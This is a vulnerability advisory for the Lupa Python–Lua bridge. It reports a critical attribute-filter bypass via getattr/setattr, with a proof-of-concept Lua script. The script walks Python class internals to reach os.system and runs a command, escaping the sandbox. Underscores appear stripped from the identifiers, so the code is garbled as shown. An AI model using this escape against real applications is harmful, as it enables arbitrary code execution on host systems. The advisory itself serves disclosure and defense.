PT-2026-59267 · Pypi · Lupa

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

10

Critical

VectorAV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Summary

The attribute filter in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.
However, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.

Details

The attribute filter is meant to block access to attributes such as class, mro, and similar internal properties.
In practice, it only applies to direct attribute access:
  • obj.attr → filtered
  • getattr(obj, "attr") → not filtered Because of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.
An attacker can use getattr to-
  • Access class
  • Walk the mro chain
  • Call subclasses ()
  • Iterate over available classes
  • Find a function that exposes globals
  • Retrieve something like os.system
At that point, arbitrary command execution becomes straightforward.
This effectively breaks the security boundary that attribute filter is expected to enforce.

PoC

The following example shows how the filter can be bypassed to execute os.system:'
import lupa
from lupa import LuaRuntime

def protected attribute filter(obj, attr name, is setting):
  if isinstance(attr name, str) and attr name.startswith(' '):
    raise AttributeError(f"Access to '{attr name}' is forbidden")
  return attr name

lua = LuaRuntime(unpack returned tuples=True, attribute filter=protected attribute filter)

class UserProfile:
  def  init (self, name): self.name = name

lua.globals().user = UserProfile("test")

lua.execute("""
local py = python.builtins
local getattr = py.getattr
local setattr = py.setattr

local cls = getattr(user, " class ")
local , obj cls = getattr(cls, " mro ")

local subs = getattr(obj cls, " subclasses ")()
for , c in ipairs(subs) do
  if tostring(c):find("os. wrap close") then
    local system = getattr(getattr(c, " init "), " globals ")["system"]
    setattr(user, "run", system)
    user.run("id")
  end
end
""")

Impact

An attacker who can execute Lua code can:
  • Bypass the attribute filter
  • Access Python internals
  • Traverse the object graph
  • Reach execution primitives
This leads to full sandbox escape and arbitrary command execution in the host Python process. Any application relying on attribute filter as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the register builtins=False option.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-2613

Affected Products

Lupa